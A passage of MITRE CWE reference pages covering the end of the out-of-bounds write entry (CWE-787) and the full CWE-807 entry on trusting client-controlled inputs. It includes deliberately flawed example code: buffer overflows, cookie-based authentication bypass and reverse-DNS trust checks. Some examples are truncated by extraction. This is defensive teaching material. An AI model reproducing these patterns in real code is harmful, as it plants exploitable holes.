CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code attempts to save four different identification numbers into an array.

(bad code)

Example Language: C

int id_sequence[3];

/* Populate the id array. */

id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.

Example 2

In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)

Example Language: C

int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...

}
int main() {

...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...

}

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3

This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

}

This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4

This code applies an encoding procedure to an input string and stores it into a buffer.

(bad code)

Example Language: C

char * copy_input(char *user_supplied_string){

int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){

die("user string too long, die evil hacker!");

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){

if( '&' == user_supplied_string[i] ){

dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';

}
else if ('<' == user_supplied_string[i] ){

/* encode to < */

}
else dst_buf[dst_index++] = user_supplied_string[i];

}
return dst_buf;

}

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5

In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(bad code)

Example Language: C

char* trimTrailingWhitespace(char *strMessage, int length) {

char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {

message[index] = strMessage[index];

}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {

message[len] = '\0';
len--;

}

// return string without trailing whitespace
retMessage = message;
return retMessage;

}

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 6

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

(bad code)

Example Language: C

int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {

ExitError("Incorrect number of widgets requested!");

}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {

WidgetList[i] = InitializeWidget();

}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 7

The following is an example of code that may result in a buffer underwrite. This code is attempting to replace the substring "Replace Me" in destBuf with the string stored in srcBuf. It does so by using the function strstr(), which returns a pointer to the found substring in destBuf. Using pointer arithmetic, the starting index of the substring is found.

(bad code)

Example Language: C

int main() {

...
char *result = strstr(destBuf, "Replace Me");
int idx = result - destBuf;
strcpy(&destBuf[idx], srcBuf);
...

}

In the case where the substring is not found in destBuf, strstr() will return NULL, causing the pointer arithmetic to be undefined, potentially setting the value of idx to a negative number. If idx is negative, this will result in a buffer underwrite of destBuf.

Observed Examples

Reference	Description
CVE-2023-1017	The reference implementation code for a Trusted Platform Module does not implement length checks on data, allowing for an attacker to write 2 bytes past the end of a buffer.
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
CVE-2021-28664	GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV.
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
CVE-2020-1054	Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV.
CVE-2020-0041	Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV.
CVE-2020-0968	Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV.
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist

Weakness Ordinalities

Ordinality

Description

Resultant

(where the weakness is typically related to the presence of some other weaknesses)

At the point when the product writes data to an invalid location, it is likely that a separate weakness already occurred earlier. For example, the product might alter an index, perform incorrect pointer arithmetic, initialize or release memory incorrectly, etc., thus referencing a memory location outside the buffer.

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
ISA/IEC 62443	Part 3-3	Req SR 3.5
ISA/IEC 62443	Part 4-1	Req SI-1
ISA/IEC 62443	Part 4-1	Req SI-2
ISA/IEC 62443	Part 4-1	Req SVV-1
ISA/IEC 62443	Part 4-1	Req SVV-3
ISA/IEC 62443	Part 4-2	Req CR 3.5

References

[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.

[REF-90] "Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. <https://seclists.org/vuln-dev/2004/Jan/22>. URL validated: 2023-04-07.

[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. URL validated: 2023-04-07.

[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2009-10-21 (CWE 1.6, 2009-10-29)	CWE Content Team	MITRE
2009-10-21 (CWE 1.6, 2009-10-29)
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
2024-02-29 (CWE 4.15, 2024-07-16)	Abhi Balakrishnan
2024-02-29 (CWE 4.15, 2024-07-16)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Description
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Observed_Examples, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Alternate_Terms, Demonstrative_Examples, Observed_Examples, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples, Potential_Mitigations, Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Alternate_Terms, Common_Consequences, Description, Diagram, Weakness_Ordinalities
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Observed_Examples, Relationships

Weakness ID: 807

View customized information:

Description

The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control Availability Other	Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity; Varies by Context Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.

Potential Mitigations

Phase: Architecture and Design

Strategy: Attack Surface Reduction

Store state information and sensitive data on the server side only.

Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

With a stateless protocol such as HTTP, use a framework that maintains the state for you.

Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45].

Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	693	Protection Mechanism Failure
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	302	Authentication Bypass by Assumed-Immutable Data
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	350	Reliance on Reverse DNS Resolution for a Security-Critical Action
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1006	Bad Coding Practices

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1012	Cross Cutting

Modes Of Introduction

Phase	Note
Architecture and Design	COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code excerpt reads a value from a browser cookie to determine the role of the user.

(bad code)

Example Language: Java

Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {

Cookie c = cookies[i];
if (c.getName().equals("role")) {

userRole = c.getValue();

}

Example 2

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

(bad code)

Example Language: PHP

$auth = $_COOKIES['authenticated'];
if (! $auth) {

if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {

// save the cookie to send out in future responses
setcookie("authenticated", "1", time()+60*60*2);

}
else {

ShowLoginScreen();
die("\n");

}

}
DisplayMedicalHistory($_POST['patient_ID']);

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

(bad code)

Example Language: Java

Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {

Cookie c = cookies[i];
if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {

authenticated = true;

}

Example 4

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

(bad code)

Example Language: C

struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);

hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {

trusted = true;

} else {

trusted = false;

}

(bad code)

Example Language: Java

String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {

trusted = true;

}

(bad code)

Example Language: C#

IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {

trusted = true;

}

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value.
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK."
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1.
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness: High

Note: The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner
Web Services Scanner
Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester
Framework-based Fuzzer
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Effectiveness: SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	803	2010 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	866	2011 Top 25 - Porous Defenses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	878	CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	884	CWE Cross-section
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1365	ICS Communications: Unreliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1373	ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1413	Comprehensive Categorization: Protection Mechanism Failure

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID may be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC09-J		Do not base security checks on untrusted sources

References

[REF-754] Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". SANS Software Security Institute. 2010-03-05. <https://www.sans.org/blog/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/>. URL validated: 2023-04-07.

[REF-529] "HMAC". Wikipedia. 2011-08-18. <https://en.wikipedia.org/wiki/HMAC>. URL validated: 2023-04-07.

[REF-756] Scott Mitchell. "Understanding ASP.NET View State". Microsoft. 2004-05-15. <https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/ms972976(v=msdn.10)?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

Content History

Submissions
Submission Date	Submitter	Organization
2010-01-18 (CWE 1.8, 2010-02-16)	CWE Content Team	MITRE
2010-01-18 (CWE 1.8, 2010-02-16)
Modifications
Modification Date	Modifier	Organization
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Common_Consequences, Potential_Mitigations, References
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Taxonomy_Mappings
